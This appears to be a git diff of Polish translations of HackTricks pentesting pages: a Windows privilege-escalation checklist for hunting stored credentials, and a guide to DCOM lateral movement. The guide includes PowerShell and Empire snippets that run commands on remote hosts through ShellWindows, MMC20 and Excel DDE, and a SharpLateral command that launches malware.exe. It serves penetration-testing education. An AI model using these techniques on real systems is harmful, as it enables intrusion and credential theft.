@ -83,7 +84,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
### [DLL Hijacking](windows-local-privilege-escalation/#path-dll-hijacking)
|
||||
|
||||
* [ ] Czy możesz **pisać w dowolnym folderze w ścieżce PATH**?
|
||||
* [ ] Czy istnieje znany binarny usługowy plik, który **próbuje załadować nieistniejącą DLL**?
|
||||
* [ ] Czy istnieje znany binarny plik usługi, który **próbuje załadować nieistniejącą DLL**?
|
||||
* [ ] Czy możesz **pisać** w dowolnym **folderze z binarnymi plikami**?
|
||||
|
||||
### [Sieć](windows-local-privilege-escalation/#network)
|
||||
|
@ -91,47 +92,47 @@ Inne sposoby wsparcia HackTricks:
|
|||
* [ ] Wylicz sieć (udziały, interfejsy, trasy, sąsiedzi, ...)
|
||||
* [ ] Szczególnie zwróć uwagę na usługi sieciowe nasłuchujące na localhost (127.0.0.1)
|
||||
|
||||
### [Windows Credentials](windows-local-privilege-escalation/#windows-credentials)
|
||||
### [Dane uwierzytelniające systemu Windows](windows-local-privilege-escalation/#windows-credentials)
|
||||
|
||||
* [ ] [**Winlogon** ](windows-local-privilege-escalation/#winlogon-credentials)poświadczenia
|
||||
* [ ] [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault) dostępne poświadczenia?
|
||||
* [ ] Interesujące [**poświadczenia DPAPI**](windows-local-privilege-escalation/#dpapi)?
|
||||
* [ ] Dane uwierzytelniające [**Winlogon**](windows-local-privilege-escalation/#winlogon-credentials)
|
||||
* [ ] Dane uwierzytelniające [**Windows Vault**](windows-local-privilege-escalation/#credentials-manager-windows-vault), których możesz użyć?
|
||||
* [ ] Interesujące [**dane uwierzytelniające DPAPI**](windows-local-privilege-escalation/#dpapi)?
|
||||
* [ ] Hasła zapisanych sieci [**Wifi**](windows-local-privilege-escalation/#wifi)?
|
||||
* [ ] Interesujące informacje w [**zapisanych połączeniach RDP**](windows-local-privilege-escalation/#saved-rdp-connections)?
|
||||
* [ ] Hasła w [**ostatnio uruchamianych poleceniach**](windows-local-privilege-escalation/#recently-run-commands)?
|
||||
* [ ] Poświadczenia [**Menedżera poświadczeń pulpitu zdalnego**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
* [ ] [**AppCmd.exe** istnieje](windows-local-privilege-escalation/#appcmd-exe)? Poświadczenia?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Boczne ładowanie DLL?
|
||||
* [ ] Hasła menedżera [**zdalnego pulpitu**](windows-local-privilege-escalation/#remote-desktop-credential-manager)?
|
||||
* [ ] Czy istnieje [**AppCmd.exe**](windows-local-privilege-escalation/#appcmd-exe)? Dane uwierzytelniające?
|
||||
* [ ] [**SCClient.exe**](windows-local-privilege-escalation/#scclient-sccm)? Ładowanie bocznego pliku DLL?
|
||||
|
||||
### [Pliki i Rejestr (Poświadczenia)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
### [Pliki i Rejestr (Dane uwierzytelniające)](windows-local-privilege-escalation/#files-and-registry-credentials)
|
||||
|
||||
* [ ] **Putty:** [**Poświadczenia**](windows-local-privilege-escalation/#putty-creds) **i** [**klucze hosta SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] [**Klucze SSH w rejestrze**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] **Putty:** [**Dane uwierzytelniające**](windows-local-privilege-escalation/#putty-creds) **i** [**klucze hosta SSH**](windows-local-privilege-escalation/#putty-ssh-host-keys)
|
||||
* [ ] Czy są [**klucze SSH w rejestrze**](windows-local-privilege-escalation/#ssh-keys-in-registry)?
|
||||
* [ ] Hasła w [**plikach bezobsługowych**](windows-local-privilege-escalation/#unattended-files)?
|
||||
* [ ] Jakiekolwiek kopie zapasowe [**SAM & SYSTEM**](windows-local-privilege-escalation/#sam-and-system-backups)?
|
||||
* [ ] [**Poświadczenia chmury**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
* [ ] [**Dane uwierzytelniające chmury**](windows-local-privilege-escalation/#cloud-credentials)?
|
||||
* [ ] Plik [**McAfee SiteList.xml**](windows-local-privilege-escalation/#mcafee-sitelist.xml)?
|
||||
* [ ] [**Zachowane hasło GPP**](windows-local-privilege-escalation/#cached-gpp-pasword)?
|
||||
* [ ] Hasło w pliku konfiguracyjnym [**IIS Web**](windows-local-privilege-escalation/#iis-web-config)?
|
||||
* [ ] Interesujące informacje w [**dziennikach sieciowych**](windows-local-privilege-escalation/#logs)?
|
||||
* [ ] Czy chcesz [**poprosić o poświadczenia**](windows-local-privilege-escalation/#ask-for-credentials) od użytkownika?
|
||||
* [ ] Czy chcesz [**poprosić o dane uwierzytelniające**](windows-local-privilege-escalation/#ask-for-credentials) od użytkownika?
|
||||
* [ ] Interesujące [**pliki w Koszu**](windows-local-privilege-escalation/#credentials-in-the-recyclebin)?
|
||||
* [ ] Inne [**rejestry zawierające poświadczenia**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Inne [**rejestry zawierające dane uwierzytelniające**](windows-local-privilege-escalation/#inside-the-registry)?
|
||||
* [ ] Wewnątrz [**danych przeglądarki**](windows-local-privilege-escalation/#browsers-history) (bazy danych, historia, zakładki, ...)?
|
||||
* [**Wyszukiwanie ogólnych haseł**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) w plikach i rejestrze
|
||||
* [ ] [**Wyszukiwanie ogólnych haseł**](windows-local-privilege-escalation/#generic-password-search-in-files-and-registry) w plikach i rejestrze
|
||||
* [**Narzędzia**](windows-local-privilege-escalation/#tools-that-search-for-passwords) do automatycznego wyszukiwania haseł
|
||||
|
||||
### [Wyciekłe Obsługiwane](windows-local-privilege-escalation/#leaked-handlers)
|
||||
|
||||
* [ ] Czy masz dostęp do jakiegokolwiek obsługującego proces uruchomionego przez administratora?
|
||||
|
||||
### [Impersonacja Klienta Potoku Nazwanego](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
### [Impersonacja Klienta Potoku](windows-local-privilege-escalation/#named-pipe-client-impersonation)
|
||||
|
||||
* [ ] Sprawdź, czy możesz to wykorzystać
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
|
|
@ -4,7 +4,7 @@
|
|||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Czy pracujesz w **firmie z branży cyberbezpieczeństwa**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Czy pracujesz w **firmie zajmującej się cyberbezpieczeństwem**? Chcesz zobaczyć, jak Twoja **firma jest reklamowana na HackTricks**? lub chcesz mieć dostęp do **najnowszej wersji PEASS lub pobrać HackTricks w formacie PDF**? Sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Dołącz do** [**💬**](https://emojipedia.org/speech-balloon/) [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** mnie na **Twitterze** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -14,7 +14,7 @@
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -25,7 +25,7 @@
|
|||
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post z [https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/](https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/)**
|
||||
|
||||
|
||||
Model obiektów rozproszonego komponentu (DCOM) prezentuje interesującą zdolność do interakcji opartych na sieci z obiektami. Microsoft udostępnia obszerną dokumentację zarówno dla DCOM, jak i dla Modelu Obiektów Komponentowych (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) i [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Listę aplikacji DCOM można uzyskać za pomocą polecenia PowerShell:
|
||||
Rozproszony Model Obiektów Składowych (DCOM) prezentuje interesującą zdolność do interakcji opartych na sieci z obiektami. Microsoft udostępnia obszerną dokumentację zarówno dla DCOM, jak i dla Modelu Obiektów Składowych (COM), dostępną [tutaj dla DCOM](https://msdn.microsoft.com/en-us/library/cc226801.aspx) i [tutaj dla COM](https://msdn.microsoft.com/en-us/library/windows/desktop/ms694363\(v=vs.85\).aspx). Listę aplikacji DCOM można uzyskać za pomocą polecenia PowerShell:
|
||||
```bash
|
||||
Get-CimInstance Win32_DCOMApplication
|
||||
```
|
||||
|
@ -55,14 +55,14 @@ ls \\10.10.10.10\c$\Users
|
|||
|
||||
**Aby uzyskać więcej informacji na temat tej techniki, sprawdź oryginalny post [https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/](https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/)**
|
||||
|
||||
Obiekt **MMC20.Application** został zidentyfikowany jako brakujący "LaunchPermissions", domyślnie przyznający dostęp Administratorom. Aby uzyskać więcej szczegółów, można prześledzić wątek [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a zaleca się korzystanie z narzędzia [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET do filtrowania obiektów bez wyraźnego uprawnienia uruchamiania.
|
||||
Obiekt **MMC20.Application** został zidentyfikowany jako brakujący "LaunchPermissions", domyślnie przyznający dostęp Administratorom. Aby uzyskać więcej szczegółów, można przejrzeć wątek [tutaj](https://twitter.com/tiraniddo/status/817532039771525120), a zaleca się korzystanie z narzędzia [@tiraniddo](https://twitter.com/tiraniddo) OleView .NET do filtrowania obiektów bez wyraźnego uprawnienia uruchamiania.
|
||||
|
||||
Dwa konkretne obiekty, `ShellBrowserWindow` i `ShellWindows`, zostały wyróżnione ze względu na brak wyraźnych uprawnień uruchamiania. Brak wpisu rejestru `LaunchPermission` pod `HKCR:\AppID\{guid}` oznacza brak wyraźnych uprawnień.
|
||||
|
||||
### ShellWindows
|
||||
Dla `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu za pomocą jego AppID. Ten proces wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po zainstancjonowaniu, interakcja jest możliwa za pomocą metody `WindowsShell.Item`, co prowadzi do wywoływania metod takich jak `Document.Application.ShellExecute`.
|
||||
Dla `ShellWindows`, który nie ma ProgID, metody .NET `Type.GetTypeFromCLSID` i `Activator.CreateInstance` ułatwiają instancjonowanie obiektu za pomocą jego AppID. Ten proces wykorzystuje OleView .NET do pobrania CLSID dla `ShellWindows`. Po zainstancjonowaniu możliwa jest interakcja za pomocą metody `WindowsShell.Item`, co prowadzi do wywoływania metod takich jak `Document.Application.ShellExecute`.
|
||||
|
||||
Przykładowe polecenia PowerShell zostały dostarczone do instancjonowania obiektu i zdalnego wykonywania poleceń:
|
||||
Przykładowe polecenia PowerShell zostały podane do instancjonowania obiektu i zdalnego wykonywania poleceń:
|
||||
```powershell
|
||||
$com = [Type]::GetTypeFromCLSID("<clsid>", "<IP>")
|
||||
$obj = [System.Activator]::CreateInstance($com)
|
||||
|
@ -71,7 +71,7 @@ $item.Document.Application.ShellExecute("cmd.exe", "/c calc.exe", "c:\windows\sy
|
|||
```
|
||||
### Ruch boczny za pomocą obiektów DCOM Excel
|
||||
|
||||
Ruch boczny można osiągnąć, wykorzystując obiekty DCOM Excel. Aby uzyskać szczegółowe informacje, zaleca się przeczytanie dyskusji na temat wykorzystania Excel DDE do ruchu bocznego za pośrednictwem DCOM na [blogu Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
Ruch boczny można osiągnąć, wykorzystując obiekty DCOM Excel. Aby uzyskać szczegółowe informacje, zaleca się przeczytanie dyskusji na temat wykorzystania Excel DDE do ruchu bocznego za pomocą DCOM na [blogu Cybereason](https://www.cybereason.com/blog/leveraging-excel-dde-for-lateral-movement-via-dcom).
|
||||
|
||||
Projekt Empire udostępnia skrypt PowerShell, który demonstruje wykorzystanie Excel do zdalnego wykonania kodu (RCE) poprzez manipulowanie obiektami DCOM. Poniżej znajdują się fragmenty skryptu dostępnego w [repozytorium GitHub Empire](https://github.com/EmpireProject/Empire/blob/master/data/module_source/lateral_movement/Invoke-DCOM.ps1), prezentujące różne metody nadużywania Excel do RCE:
|
||||
```powershell
|
||||
|
@ -98,9 +98,9 @@ $Obj.DDEInitiate("cmd", "/c $Command")
|
|||
```
|
||||
### Narzędzia automatyzacji do ruchu bocznego
|
||||
|
||||
Dwa narzędzia są wyróżnione do automatyzacji tych technik:
|
||||
Wyróżniono dwa narzędzia do automatyzacji tych technik:
|
||||
|
||||
- **Invoke-DCOM.ps1**: Skrypt PowerShell dostarczony przez projekt Empire, który upraszcza wywoływanie różnych metod wykonania kodu na zdalnych maszynach. Ten skrypt jest dostępny w repozytorium GitHub Empire.
|
||||
- **Invoke-DCOM.ps1**: Skrypt PowerShell dostarczony przez projekt Empire, który upraszcza wywoływanie różnych metod wykonania kodu na zdalnych maszynach. Skrypt ten jest dostępny w repozytorium GitHub Empire.
|
||||
|
||||
- **SharpLateral**: Narzędzie przeznaczone do zdalnego wykonywania kodu, które można użyć za pomocą polecenia:
|
||||
```bash
|
||||
|
@ -108,7 +108,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
```
|
||||
## Narzędzia automatyczne
|
||||
|
||||
* Skrypt Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) umożliwia łatwe wywołanie wszystkich zakomentowanych sposobów wykonania kodu na innych maszynach.
|
||||
* Skrypt Powershell [**Invoke-DCOM.ps1**](https://github.com/EmpireProject/Empire/blob/master/data/module\_source/lateral\_movement/Invoke-DCOM.ps1) umożliwia łatwe wywoływanie wszystkich zakomentowanych sposobów wykonywania kodu na innych maszynach.
|
||||
* Możesz również użyć [**SharpLateral**](https://github.com/mertdas/SharpLateral):
|
||||
```bash
|
||||
SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
||||
|
@ -120,7 +120,7 @@ SharpLateral.exe reddcom HOSTNAME C:\Users\Administrator\Desktop\malware.exe
|
|||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
|
@ -134,6 +134,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
Loading…
Reference in a new issue